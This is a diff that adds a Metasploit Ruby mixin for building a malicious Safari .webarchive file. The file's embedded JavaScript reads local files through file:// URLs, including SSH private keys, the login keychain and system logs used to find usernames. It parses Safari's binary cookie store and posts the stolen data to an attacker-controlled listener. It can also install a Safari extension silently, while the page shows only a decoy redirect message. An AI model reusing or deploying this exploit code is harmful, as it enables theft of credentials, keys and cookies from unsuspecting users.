|
| 1 | +# |
| 2 | +# The WebArchive mixin provides methods for generating a Safari .webarchive file |
| 3 | +# that performs a variety of malicious tasks: stealing files, cookies, and silently |
| 4 | +# installing extensions from extensions.apple.com. |
| 5 | +# |
| 6 | +module Msf |
| 7 | +module Format |
| 8 | +module Webarchive |
| 9 | + |
| 10 | + def initialize(info={}) |
| 11 | + super |
| 12 | + register_options([ |
| 13 | + OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), |
| 14 | + OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']), |
| 15 | + OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']), |
| 16 | + OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']), |
| 17 | + OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']), |
| 18 | + OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]), |
| 19 | + OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]), |
| 20 | + OptBool.new('INSTALL_EXTENSION', [true, "Silently install a Safari extensions (requires click)", false]), |
| 21 | + OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install", "https://data.getadblock.com/safari/AdBlock.safariextz"]), |
| 22 | + OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install", "com.betafish.adblockforsafari-UAMUU4S2D9"]) |
| 23 | + ], self.class) |
| 24 | + end |
| 25 | + |
| 26 | + ### ASSEMBLE THE WEBARCHIVE XML ### |
| 27 | + |
| 28 | + # @return [String] contents of webarchive as an XML document |
| 29 | + def webarchive_xml |
| 30 | + return @xml if not @xml.nil? # only compute xml once |
| 31 | + @xml = webarchive_header |
| 32 | + @xml << webarchive_footer |
| 33 | + @xml |
| 34 | + end |
| 35 | + |
| 36 | + # @return [String] the first chunk of the webarchive file, containing the WebMainResource |
| 37 | + def webarchive_header |
| 38 | + %Q| |
| 39 | + <?xml version="1.0" encoding="UTF-8"?> |
| 40 | + <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" |
| 41 | + "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> |
| 42 | + <plist version="1.0"> |
| 43 | + <dict> |
| 44 | + <key>WebMainResource</key> |
| 45 | + <dict> |
| 46 | + <key>WebResourceData</key> |
| 47 | + <data> |
| 48 | + #{Rex::Text.encode_base64(iframes_container_html)}</data> |
| 49 | + <key>WebResourceFrameName</key> |
| 50 | + <string></string> |
| 51 | + <key>WebResourceMIMEType</key> |
| 52 | + <string>text/html</string> |
| 53 | + <key>WebResourceTextEncodingName</key> |
| 54 | + <string>UTF-8</string> |
| 55 | + <key>WebResourceURL</key> |
| 56 | + <string>file:///</string> |
| 57 | + </dict> |
| 58 | + <key>WebSubframeArchives</key> |
| 59 | + <array> |
| 60 | + | |
| 61 | + end |
| 62 | + |
| 63 | + # @return [String] the closing chunk of the webarchive XML code |
| 64 | + def webarchive_footer |
| 65 | + %Q| |
| 66 | + </array> |
| 67 | + </dict> |
| 68 | + </plist> |
| 69 | + | |
| 70 | + end |
| 71 | + |
| 72 | + #### JS/HTML CODE #### |
| 73 | + |
| 74 | + # Wraps the result of the block in an HTML5 document and body |
| 75 | + def wrap_with_doc(&blk) |
| 76 | + %Q| |
| 77 | + <!doctype html> |
| 78 | + <html> |
| 79 | + <body> |
| 80 | + #{yield} |
| 81 | + </body> |
| 82 | + </html> |
| 83 | + | |
| 84 | + end |
| 85 | + |
| 86 | + # Wraps the result of the block with <script> tags |
| 87 | + def wrap_with_script(&blk) |
| 88 | + "<script>#{yield}</script>" |
| 89 | + end |
| 90 | + |
| 91 | + # @return [String] mark up for embedding the iframes for each URL in a place that is |
| 92 | + # invisible to the user |
| 93 | + def iframes_container_html |
| 94 | + wrap_with_doc do |
| 95 | + injected_js_helpers + steal_files + install_extension + message |
| 96 | + end |
| 97 | + end |
| 98 | + |
| 99 | + def apple_extension_url |
| 100 | + 'https://extensions.apple.com' |
| 101 | + end |
| 102 | + |
| 103 | + def install_extension |
| 104 | + return '' unless datastore['INSTALL_EXTENSION'] |
| 105 | + raise "EXTENSION_URL datastore option missing" unless datastore['EXTENSION_URL'].present? |
| 106 | + raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present? |
| 107 | + wrap_with_script do |
| 108 | + %Q| |
| 109 | + var qq = null; |
| 110 | + var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}'); |
| 111 | + var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}'); |
| 112 | +
|
| 113 | + function go(){ |
| 114 | + window.focus(); |
| 115 | + qq.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', '_self'); |
| 116 | + } |
| 117 | + window.addEventListener('message', function(e) { |
| 118 | + if (!qq && e.data === 'EXT') { |
| 119 | + qq = e.source; |
| 120 | + setInterval(go, 600); |
| 121 | + } |
| 122 | + }); |
| 123 | + | |
| 124 | + end |
| 125 | + end |
| 126 | + |
| 127 | + # @return [String] javascript code, wrapped in a script tag, that steals local files |
| 128 | + # and sends them back to the listener. This code is executed in the WebMainResource (parent) |
| 129 | + # frame, which runs in the file:// protocol |
| 130 | + def steal_files |
| 131 | + return '' unless should_steal_files? |
| 132 | + urls_str = (datastore['FILE_URLS'].split(/\s+/)).reject { |s| !s.include?('$USER') }.join(' ') |
| 133 | + wrap_with_script do |
| 134 | + %Q| |
| 135 | + var filesStr = "#{urls_str}"; |
| 136 | + var files = filesStr.trim().split(/\s+/); |
| 137 | + function stealFile(url) { |
| 138 | + var req = new XMLHttpRequest(); |
| 139 | + var sent = false; |
| 140 | + req.open('GET', url, true); |
| 141 | + req.onreadystatechange = function() { |
| 142 | + if (!sent && req.responseText && req.responseText.length > 0) { |
| 143 | + sendData(url, req.responseText); |
| 144 | + sent = true; |
| 145 | + } |
| 146 | + }; |
| 147 | + req.send(null); |
| 148 | + }; |
| 149 | + files.forEach(stealFile); |
| 150 | +
|
| 151 | + | + steal_default_files |
| 152 | + end |
| 153 | + end |
| 154 | + |
| 155 | + def default_files |
| 156 | + ('file:///Users/$USER/.ssh/id_rsa file:///Users/$USER/.ssh/id_rsa.pub '+ |
| 157 | + 'file:///Users/$USER/Library/Keychains/login.keychain ' + |
| 158 | + (datastore['FILE_URLS'].split(/\s+/)).select { |s| s.include?('$USER') }.join(' ')).strip |
| 159 | + end |
| 160 | + |
| 161 | + def steal_default_files |
| 162 | + %Q| |
| 163 | +
|
| 164 | + try { |
| 165 | +
|
| 166 | +function xhr(url, cb, responseType) { |
| 167 | + var x = new XMLHttpRequest; |
| 168 | + x.onload = function() { cb(x) } |
| 169 | + x.open('GET', url); |
| 170 | + if (responseType) x.responseType = responseType; |
| 171 | + x.send(); |
| 172 | +} |
| 173 | +
|
| 174 | +var files = ['/var/log/monthly.out', '/var/log/appstore.log', '/var/log/install.log']; |
| 175 | +var done = 0; |
| 176 | +var _u = {}; |
| 177 | +
|
| 178 | +var cookies = []; |
| 179 | +files.forEach(function(f) { |
| 180 | + xhr(f, function(x) { |
| 181 | + var m; |
| 182 | + var users = []; |
| 183 | + var pattern = /\\/Users\\/([^\\s^\\/^"]+)/g; |
| 184 | + while ((m = pattern.exec(x.responseText)) !== null) { |
| 185 | + if(!_u[m[1]]) { users.push(m[1]); } |
| 186 | + _u[m[1]] = 1; |
| 187 | + } |
| 188 | +
|
| 189 | + if (users.length) { next(users); } |
| 190 | + }); |
| 191 | +}); |
| 192 | +
|
| 193 | +var id=0; |
| 194 | +function next(users) { |
| 195 | + // now lets steal all the data we can! |
| 196 | + sendData('usernames'+id, users); |
| 197 | + id++; |
| 198 | + users.forEach(function(user) { |
| 199 | +
|
| 200 | + if (#{datastore['STEAL_COOKIES']}) { |
| 201 | + xhr('file:///Users/'+encodeURIComponent(user)+'/Library/Cookies/Cookies.binarycookies', function(x) { |
| 202 | + parseBinaryFile(x.response); |
| 203 | + }, 'arraybuffer'); |
| 204 | + } |
| 205 | +
|
| 206 | + if (#{datastore['STEAL_FILES']}) { |
| 207 | + var files = '#{Rex::Text.encode_base64(default_files)}'; |
| 208 | + atob(files).split(/\\s+/).forEach(function(file) { |
| 209 | + file = file.replace('$USER', encodeURIComponent(user)); |
| 210 | + xhr(file, function(x) { |
| 211 | + sendData(file.replace('file://', ''), x.responseText); |
| 212 | + }); |
| 213 | + }); |
| 214 | + } |
| 215 | +
|
| 216 | + }); |
| 217 | +} |
| 218 | +
|
| 219 | +function parseBinaryFile(buffer) { |
| 220 | + var data = new DataView(buffer); |
| 221 | +
|
| 222 | + // check for MAGIC 'cook' in big endian |
| 223 | + if (data.getUint32(0, false) != 1668247403) |
| 224 | + throw new Error('Invalid magic at top of cookie file.') |
| 225 | +
|
| 226 | + // big endian length in next 4 bytes |
| 227 | + var numPages = data.getUint32(4, false); |
| 228 | + var pageSizes = [], cursor = 8; |
| 229 | + for (var i = 0; i < numPages; i++) { |
| 230 | + pageSizes.push(data.getUint32(cursor, false)); |
| 231 | + cursor += 4; |
| 232 | + } |
| 233 | +
|
| 234 | + pageSizes.forEach(function(size) { |
| 235 | + parsePage(buffer.slice(cursor, cursor + size)); |
| 236 | + cursor += size; |
| 237 | + }); |
| 238 | +
|
| 239 | + reportStolenCookies(); |
| 240 | +} |
| 241 | +
|
| 242 | +function parsePage(buffer) { |
| 243 | + var data = new DataView(buffer); |
| 244 | + if (data.getUint32(0, false) != 256) { |
| 245 | + return; // invalid magic in page header |
| 246 | + } |
| 247 | +
|
| 248 | + var numCookies = data.getUint32(4, true); |
| 249 | + var offsets = []; |
| 250 | + for (var i = 0; i < numCookies; i++) { |
| 251 | + offsets.push(data.getUint32(8+i*4, true)); |
| 252 | + } |
| 253 | +
|
| 254 | + offsets.forEach(function(offset, idx) { |
| 255 | + var next = offsets[idx+1] \|\| buffer.byteLength - 4; |
| 256 | + try{parseCookie(buffer.slice(offset, next));}catch(e){}; |
| 257 | + }); |
| 258 | +} |
| 259 | +
|
| 260 | +function read(data, offset) { |
| 261 | + var str = '', c = null; |
| 262 | + try { |
| 263 | + while ((c = data.getUint8(offset++)) != 0) { |
| 264 | + str += String.fromCharCode(c); |
| 265 | + } |
| 266 | + } catch(e) {}; |
| 267 | + return str; |
| 268 | +} |
| 269 | +
|
| 270 | +function parseCookie(buffer) { |
| 271 | + var data = new DataView(buffer); |
| 272 | + var size = data.getUint32(0, true); |
| 273 | + var flags = data.getUint32(8, true); |
| 274 | + var urlOffset = data.getUint32(16, true); |
| 275 | + var nameOffset = data.getUint32(20, true); |
| 276 | + var pathOffset = data.getUint32(24, true); |
| 277 | + var valueOffset = data.getUint32(28, true); |
| 278 | +
|
| 279 | + var result = { |
| 280 | + value: read(data, valueOffset), |
| 281 | + path: read(data, pathOffset), |
| 282 | + url: read(data, urlOffset), |
| 283 | + name: read(data, nameOffset), |
| 284 | + isSecure: flags & 1, |
| 285 | + httpOnly: flags & 4 |
| 286 | + }; |
| 287 | +
|
| 288 | + cookies.push(result); |
| 289 | +} |
| 290 | +
|
| 291 | +function reportStolenCookies() { |
| 292 | + if (cookies.length > 0) { |
| 293 | + sendData('cookieDump', cookies); |
| 294 | + } |
| 295 | +} |
| 296 | +
|
| 297 | +} catch (e) { console.log('ERROR: '+e.message); } |
| 298 | +
|
| 299 | + | |
| 300 | + end |
| 301 | + |
| 302 | + # @return [String] javascript code, wrapped in script tag, that adds a helper function |
| 303 | + # called "sendData()" that passes the arguments up to the parent frame, where it is |
| 304 | + # sent out to the listener |
| 305 | + def injected_js_helpers |
| 306 | + wrap_with_script do |
| 307 | + %Q| |
| 308 | + window.sendData = function(key, val) { |
| 309 | + var data = {}; |
| 310 | + data[key] = val; |
| 311 | +
|
| 312 | + var x = new XMLHttpRequest; |
| 313 | + x.open('POST', '#{backend_url}#{collect_data_uri}', true); |
| 314 | + x.setRequestHeader('Content-type', 'text/plain') |
| 315 | + x.send(JSON.stringify(data)); |
| 316 | + }; |
| 317 | + | |
| 318 | + end |
| 319 | + end |
| 320 | + |
| 321 | + ### HELPERS ### |
| 322 | + |
| 323 | + # @return [String] the path to send data back to |
| 324 | + def collect_data_uri |
| 325 | + '/' + (datastore["URIPATH"] || '').chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"] |
| 326 | + end |
| 327 | + |
| 328 | + # @return [String] formatted http/https URL of the listener |
| 329 | + def backend_url |
| 330 | + proto = (datastore["SSL"] ? "https" : "http") |
| 331 | + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] |
| 332 | + port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}" |
| 333 | + "#{proto}://#{myhost}#{port_str}" |
| 334 | + end |
| 335 | + |
| 336 | + # @return [String] URL that serves the malicious webarchive |
| 337 | + def webarchive_download_url |
| 338 | + datastore["DOWNLOAD_PATH"] |
| 339 | + end |
| 340 | + |
| 341 | + # @return [String] HTML content that is rendered in the <body> of the webarchive. |
| 342 | + def message |
| 343 | + "<p>You are being redirected.</p>" |
| 344 | + end |
| 345 | + |
| 346 | + # @return [Array<String>] of URLs provided by the user |
| 347 | + def urls |
| 348 | + (datastore['URLS'] || '').split(/\s+/) |
| 349 | + end |
| 350 | + |
| 351 | + # @param [String] input the unencoded string |
| 352 | + # @return [String] input with dangerous chars replaced with xml entities |
| 353 | + def escape_xml(input) |
| 354 | + input.to_s.gsub("&", "&").gsub("<", "<") |
| 355 | + .gsub(">", ">").gsub("'", "'") |
| 356 | + .gsub("\"", """) |
| 357 | + end |
| 358 | + |
| 359 | + def should_steal_files? |
| 360 | + datastore['STEAL_FILES'] |
| 361 | + end |
| 362 | + |
| 363 | +end |
| 364 | +end |
| 365 | +end |
0 commit comments